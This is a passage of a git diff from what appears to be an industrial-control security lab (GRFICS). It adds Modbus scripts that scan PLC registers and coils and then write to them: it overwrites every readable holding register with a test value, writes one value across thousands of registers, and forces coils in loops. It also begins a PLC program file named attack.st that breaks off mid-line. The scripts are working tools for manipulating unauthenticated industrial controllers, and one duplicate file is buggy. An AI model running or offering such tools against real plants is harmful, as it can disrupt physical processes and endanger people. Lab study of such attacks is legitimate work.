for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := 